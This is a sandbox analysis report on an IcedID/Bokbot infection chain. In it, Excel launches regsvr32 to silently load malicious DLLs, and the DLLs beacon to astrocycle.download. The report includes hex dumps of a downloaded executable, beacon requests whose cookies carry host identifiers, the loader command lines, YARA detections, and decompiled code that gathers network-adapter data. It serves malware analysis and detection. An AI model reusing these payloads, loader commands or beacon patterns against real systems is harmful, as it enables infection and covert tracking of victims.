00 00 00 50 00 00 00 a0 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 f0 00 00 00 02 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 00 00 00 00 00 01 00 00 02 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MMM>NMKMILLRichMPEd`" : `(P@.text(8: `.rdata~P>@@.data`@.pdata
Jul 6, 2021 15:52:20.345957994 CEST	128	IN	Data Raw: 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@
Jul 6, 2021 15:52:20.345978975 CEST	129	IN	Data Raw: 00 c7 84 24 a4 00 00 00 23 02 00 00 8b 05 5a dc 00 00 89 44 24 4c c7 84 24 ac 00 00 00 0b 00 00 00 8b 05 49 dc 00 00 35 89 b4 5a f6 89 05 3e dc 00 00 c7 84 24 a8 00 00 00 17 00 00 00 48 8b 15 78 dc 00 00 8b 05 22 dc 00 00 41 89 c0 48 89 54 24 20 Data Ascii: $#ZD$L$I5Z>$Hx"AHT$ LA0ALT$ AH<<H$HL$@$G$G$GHHD$0$GD$/$GHD$@L$?${HD$@HHD
Jul 6, 2021 15:52:20.345995903 CEST	130	IN	Data Raw: 8b 8c 24 a8 00 00 00 48 8b 49 18 48 89 8c 24 a8 00 00 00 0f b7 84 24 b2 00 00 00 89 84 24 8c 01 00 00 48 8b 8c 24 a8 00 00 00 48 8b 49 20 48 89 4c 24 70 0f b7 84 24 b2 00 00 00 89 84 24 88 01 00 00 48 83 7c 24 70 00 0f 84 dc 06 00 00 0f b7 84 24 Data Ascii: $HIH$$$H$HI HL$p$$H\|$p$$HL$pHIPHL$h$$HL$pfQHf$$$\|HD$`$$xD$/$tHT$`$p$pALD$`D$/$lLD$h
Jul 6, 2021 15:52:20.346016884 CEST	132	IN	Data Raw: 00 89 84 24 f8 00 00 00 8b 44 24 34 83 c8 02 89 44 24 34 c7 84 24 f4 00 00 00 89 b4 5a f6 e9 e5 00 00 00 8b 84 24 84 00 00 00 8b 4c 24 44 81 f1 89 b4 5a f6 39 c8 0f 85 57 00 00 00 0f b7 84 24 b2 00 00 00 89 84 24 f0 00 00 00 48 8b 8c 24 a8 00 00 Data Ascii: $D$4D$4$Z$L$DZ9W$$H$H$HH$$D$4D$4$Zp$L$@Z9R$$H$H$HHw$$D$4D$4
Jul 6, 2021 15:52:20.346041918 CEST	133	IN	Data Raw: 48 8b b4 24 a0 00 00 00 48 89 b4 24 60 03 00 00 48 8b b4 24 60 03 00 00 89 b4 24 6c 03 00 00 c7 84 24 84 00 00 00 00 00 00 00 8b 84 24 84 00 00 00 3b 84 24 80 00 00 00 0f 83 c4 00 00 00 48 8b 84 24 a0 00 00 00 48 89 84 24 50 03 00 00 48 8b 84 24 Data Ascii: H$H$`H$`$l$$;$H$H$PH$P$\HL$pHL$xH$H$@H$@$LLD$xILD$xL$L$0L$0D$<LL$pILL$pL$L$ L$ D$,$
Jul 6, 2021 15:52:20.346060038 CEST	134	IN	Data Raw: 00 00 4c 8b 84 24 a8 00 00 00 41 8b 48 28 41 89 c8 4c 01 c2 48 89 54 24 50 48 8b 54 24 50 48 89 94 24 d0 01 00 00 48 8b 94 24 d0 01 00 00 89 94 24 dc 01 00 00 48 83 7c 24 50 00 0f 84 27 00 00 00 48 8b 44 24 50 48 8b 8c 24 a0 00 00 00 48 8b 15 47 Data Ascii: L$AH(ALHT$PHT$PH$H$$H\|$P'HD$PH$HGL$(HDD$(E1H$H$TE1DHD$@HD$@H$H$$H;L$@qH$H$H$$HL$@DLHLH
Jul 6, 2021 15:52:20.346076012 CEST	136	IN	Data Raw: 84 24 44 01 00 00 48 8b 4c 24 38 0f b7 41 16 83 e0 01 83 f8 00 0f 84 31 00 00 00 8b 44 24 60 89 84 24 40 01 00 00 c6 44 24 67 00 48 8b 4c 24 68 48 89 8c 24 30 01 00 00 48 8b 8c 24 30 01 00 00 89 8c 24 3c 01 00 00 e9 3d 00 00 00 48 8b 44 24 68 48 Data Ascii: $DHL$8A1D$`$@D$gHL$hH$0H$0$<=HD$hH$ H$ $,D$gHL$hH$H$$D$`$HD$hH$H$$\|$`MD$`$HL$@AD$TD$T$D$TT$`)T$`D$
Jul 6, 2021 15:52:20.346091986 CEST	137	IN	Data Raw: 50 48 89 84 24 70 01 00 00 48 8b 84 24 70 01 00 00 89 84 24 7c 01 00 00 48 8b 4c 24 68 8b 01 89 c1 48 03 8c 24 88 00 00 00 48 89 4c 24 58 48 8b 4c 24 58 48 89 8c 24 60 01 00 00 48 8b 8c 24 60 01 00 00 89 8c 24 6c 01 00 00 48 8b 54 24 68 8b 42 10 Data Ascii: PH$pH$p$\|HL$hH$HL$XHL$XH$`H$`$lHT$hBH$HT$@HT$@H$PH$P$\hH$$LHL$hAH$HL$XHL$XH$@H$@$HHT$XHT$@HT$@H$0H$0$<H$
Jul 6, 2021 15:52:20.346107006 CEST	139	IN	Data Raw: 8b 04 91 44 89 c1 48 01 c8 48 89 44 24 30 48 8b 44 24 30 48 89 84 24 80 00 00 00 e9 70 00 00 00 48 8b 44 24 68 48 89 84 24 b8 00 00 00 48 8b 84 24 b8 00 00 00 89 84 24 c4 00 00 00 8b 44 24 4c 83 c0 01 89 44 24 4c e9 93 fe ff ff 48 8b 44 24 68 48 Data Ascii: DHHD$0HD$0H$pHD$hH$H$$D$LD$LHD$hH$H$$HD$hH$H$$H$H$HH$LL$`DD$\T$[HL$PD$<HL$PHL$pHL$pL$\|HL$PD$+HD
Jul 6, 2021 15:52:20.346684933 CEST	140	IN	Data Raw: 24 a0 00 00 00 48 8b 8c 24 a0 00 00 00 89 8c 24 ac 00 00 00 e9 63 ff ff ff 48 8b 44 24 30 48 89 84 24 90 00 00 00 48 8b 84 24 90 00 00 00 89 84 24 9c 00 00 00 48 8b 44 24 50 48 89 84 24 80 00 00 00 48 8b 84 24 80 00 00 00 89 84 24 8c 00 00 00 48 Data Ascii: $H$$cHD$0H$H$$HD$PH$H$$HD$hHD$hHHHT$HL$HD$HD$ HD$ D$,HL$H$H$$HD$H$H$$HL$HHHT$D$HL$H$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49171	172.67.213.115	80	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 15:52:22.851982117 CEST	444	OUT	GET / HTTP/1.1 Connection: Keep-Alive Cookie: __gads=3565085024:1:5640:55; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:44333242364643344536304246463441; __io=0; _gid=67AFEDC5AC03 Host: astrocycle.download
Jul 6, 2021 15:52:23.424782991 CEST	445	IN	HTTP/1.1 404 Not Found Date: Tue, 06 Jul 2021 13:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=MR3iY3LZg1WvofIKe63%2BHB%2BFeK1rvlpwTP3v0GDO9hUoDAcUP9e0zMANPwJS1VvTgJ7fmL6V5k8FzaQ4jxhrAnanR1qQqyckYfvqSg68F8GTOip8gzYzA2r2f0dcvjOWHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66a9502f0ba94a61-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 31 31 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 09 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 09 3c 68 72 3e 0a 09 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 73 74 72 6f 63 79 63 6c 65 2e 64 6f 77 6e 6c 6f 61 64 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 111<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at astrocycle.download Port 80</address></body></html>
Jul 6, 2021 15:52:23.424814939 CEST	445	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49173	172.67.213.115	80	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 15:52:25.656795979 CEST	704	OUT	GET / HTTP/1.1 Connection: Keep-Alive Cookie: __gads=3565085024:1:5643:55; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:42453544453833343741333731304336; __io=0; _gid=67AFEDC5AC03 Host: astrocycle.download
Jul 6, 2021 15:52:26.194715977 CEST	705	IN	HTTP/1.1 404 Not Found Date: Tue, 06 Jul 2021 13:52:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=yQa7P4c0WQsSk%2B0hKSEEyFAFKEI%2FvIisnqYaFQu%2BXXddZsnbvbTVUD2iu8zVLxw917ikN8mapmgaPlyo17w5g1k0nMQnc36wIHnpjtDPFV%2FESSf8ywvjb%2BEG93nO0P3LWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66a950408c03dffb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 31 31 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 09 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 09 3c 68 72 3e 0a 09 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 73 74 72 6f 63 79 63 6c 65 2e 64 6f 77 6e 6c 6f 61 64 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 111<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at astrocycle.download Port 80</address></body></html>
Jul 6, 2021 15:52:26.194736004 CEST	705	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49175	104.21.37.209	80	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 15:52:29.669440031 CEST	964	OUT	GET / HTTP/1.1 Connection: Keep-Alive Cookie: __gads=3565085024:1:5647:54; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:32333439353742364336373644424644; __io=0; _gid=67AFEDC5AC03 Host: astrocycle.download
Jul 6, 2021 15:52:30.190757036 CEST	965	IN	HTTP/1.1 404 Not Found Date: Tue, 06 Jul 2021 13:52:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=hdw4wlC66Ox2FzZrMkmpobQxCNuY%2B9RxUg1H8LCY8hZEBwb31Ynzyy3USH6Rv%2BNOgRBr1%2BALkxKqMrs%2B%2BA08Hr5qifXl4kxTQzxqzPdzykgODknDfhuimRO6xQNswTprmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66a950599e584e97-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 31 31 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 09 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 09 3c 68 72 3e 0a 09 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 73 74 72 6f 63 79 63 6c 65 2e 64 6f 77 6e 6c 6f 61 64 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 111<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at astrocycle.download Port 80</address></body></html>
Jul 6, 2021 15:52:30.190807104 CEST	965	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 6, 2021 15:52:21.198673010 CEST	13.225.75.73	443	192.168.2.22	49170	CN=aws.amazon.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 30 02:00:00 CEST 2020 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Thu Sep 23 14:00:00 CEST 2021 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034
Jul 6, 2021 15:52:24.554748058 CEST	13.225.75.73	443	192.168.2.22	49172	CN=aws.amazon.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 30 02:00:00 CEST 2020 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Thu Sep 23 14:00:00 CEST 2021 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034
Jul 6, 2021 15:52:27.936659098 CEST	13.225.75.73	443	192.168.2.22	49174	CN=aws.amazon.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 30 02:00:00 CEST 2020 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Thu Sep 23 14:00:00 CEST 2021 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2364 Parent PID: 584

General

Start time:	15:51:42
Start date:	06/07/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f550000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2360 Parent PID: 2364

General

Start time:	15:51:44
Start date:	06/07/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\XRAY.dll
Imagebase:	0xffd10000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, Author: Joe Security Rule: MAL_IcedID_GZIP_LDR_202104, Description: 2021 initial Bokbot / Icedid loader for fake GZIP payloads, Source: 00000003.00000002.2102204572.00000000000B0000.00000004.00000001.sdmp, Author: Thomas Barabosch, Telekom Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000003.00000002.2105528596.0000000003476000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2536 Parent PID: 2364

General

Start time:	15:51:48
Start date:	06/07/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\XTOWN.dll
Imagebase:	0xffd10000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, Author: Joe Security Rule: MAL_IcedID_GZIP_LDR_202104, Description: 2021 initial Bokbot / Icedid loader for fake GZIP payloads, Source: 00000004.00000002.2109483742.0000000000190000.00000004.00000001.sdmp, Author: Thomas Barabosch, Telekom Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2212 Parent PID: 2364

General

Start time:	15:51:51
Start date:	06/07/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\XZIBIT.dll
Imagebase:	0xffd10000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000005.00000002.2118144160.00000000003D6000.00000004.00000020.sdmp, Author: Joe Security Rule: MAL_IcedID_GZIP_LDR_202104, Description: 2021 initial Bokbot / Icedid loader for fake GZIP payloads, Source: 00000005.00000002.2117870904.0000000000110000.00000004.00000001.sdmp, Author: Thomas Barabosch, Telekom Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: regsvr32.exe PID: 2360 Parent PID: 2364 regsvr32.exeCOMMON

Executed Functions

Function 003127BC, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E003127BC(long long __rbx, void* __rcx, signed long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				int _t23;
				void* _t24;
				void* _t27;
				intOrPtr _t35;
				void* _t36;
				intOrPtr* _t44;
				long long _t46;
				intOrPtr* _t48;
				intOrPtr* _t54;
				intOrPtr* _t62;
				signed long long _t64;
				long long* _t67;
				intOrPtr* _t69;
				void* _t77;
				void* _t78;
				struct HINSTANCE__* _t79;
				void* _t80;
				CHAR* _t82;
				char* _t83;

				_t64 = __rsi;
				_t46 = __rbx;
				_t44 = _t69;
				 *((long long*)(_t44 + 8)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = __rbp;
				 *((long long*)(_t44 + 0x20)) = __rsi;
				_push(_t62);
				_t80 = __rcx;
				_t83 = L"; _gid=";
				 *(_t44 + 0x10) =  *(_t44 + 0x10) & 0;
				LoadLibraryA(_t82);
				GetProcAddress(_t79);
				_t67 = _t44;
				if(_t44 == 0) {
					L6:
					r9d = 1;
					_t23 = E00312990(_t36, _t44, _t46, _t80, L"; _gid=", _t62, 0x3170c4, _t77, _t78);
					L7:
					return _t23;
				}
				_t24 =  *_t67(); // executed
				if(_t24 == 0x6f && __rbx != 0) {
					GetProcessHeap();
					_t9 = _t64 + 8; // 0x8
					_t36 = _t9;
					HeapAlloc(??, ??, ??);
					_t62 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t54 = _t44; // executed
					_t27 =  *_t67(); // executed
					if(_t27 == 0) {
						_t48 = _t62;
						do {
							if( *((char*)(_t48 + 0x1c0)) != 0x30 ||  *((char*)(_t48 + 0x1c1)) != 0x2e) {
								_t35 =  *((intOrPtr*)(_t48 + 0x194));
								if(_t54 - 1 <= 7) {
									r9d = _t35;
									_t18 = _t48 + 0x198; // 0x198
									_t54 = _t80 + _t64 * 2;
									E00312990(_t36, _t44, _t48, _t54, _t83, _t62, _t18, _t77, _t78);
									_t64 = _t64 + _t44;
									_t83 = ":";
								}
							}
							_t48 =  *_t48;
						} while (_t48 != 0);
						GetProcessHeap();
						_t36 = 0;
						_t23 = HeapFree(??, ??, ??);
						if(_t64 == 0) {
							goto L6;
						}
						goto L7;
					}
					GetProcessHeap();
					_t36 = 0;
					HeapFree(??, ??, ??);
				}
			}

0x003127bc
0x003127bc
0x003127bc
0x003127bf
0x003127c3
0x003127c7
0x003127cb
0x003127d4
0x003127d7
0x003127e7
0x003127ea
0x003127fa
0x00312800
0x00312806
0x0031285f
0x0031285f
0x00312876
0x0031287b
0x00312893
0x00312893
0x0031280f
0x00312814
0x0031281f
0x0031282c
0x0031282c
0x0031282f
0x00312835
0x0031283b
0x00000000
0x00000000
0x00312842
0x00312845
0x00312849
0x00312894
0x00312897
0x0031289e
0x003128a9
0x003128b5
0x003128b7
0x003128ba
0x003128c1
0x003128c8
0x003128cd
0x003128d0
0x003128d0
0x003128b5
0x003128d7
0x003128da
0x003128df
0x003128e8
0x003128ed
0x003128f6
0x00000000
0x00000000
0x00000000
0x003128fc
0x0031284b
0x00312854
0x00312859
0x00312859

APIs

GetAdaptersInfo.IPHLPAPI(?,?,00000000,00312CFE,?,?,00000003,003124A4), ref: 0031280F
GetAdaptersInfo.IPHLPAPI(?,?,00000000,00312CFE,?,?,00000003,003124A4), ref: 00312845

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: fc699fa13e68b788d874d6a78f58e359039745370b383d3aa825a9febfb906a8
Instruction ID: 9219f82e057c2f6c188820d4551277750c7bd6afbeddadac8b68ea0d9306291a
Opcode Fuzzy Hash: fc699fa13e68b788d874d6a78f58e359039745370b383d3aa825a9febfb906a8
Instruction Fuzzy Hash: A3318B76605B8096EB1ADB66E8007DAB764FB4DF94F494025CF0D0B718EF38C699C300

Uniqueness

Uniqueness Score: -1.00%

Function 00311810, Relevance: 1.7, APIs: 1, Instructions: 198memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL ref: 00311A08

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c3a72f5bfcfd91918b5e83c3bb15c180b6cc2b39742bdcf2d413e26ac2e8c0cf
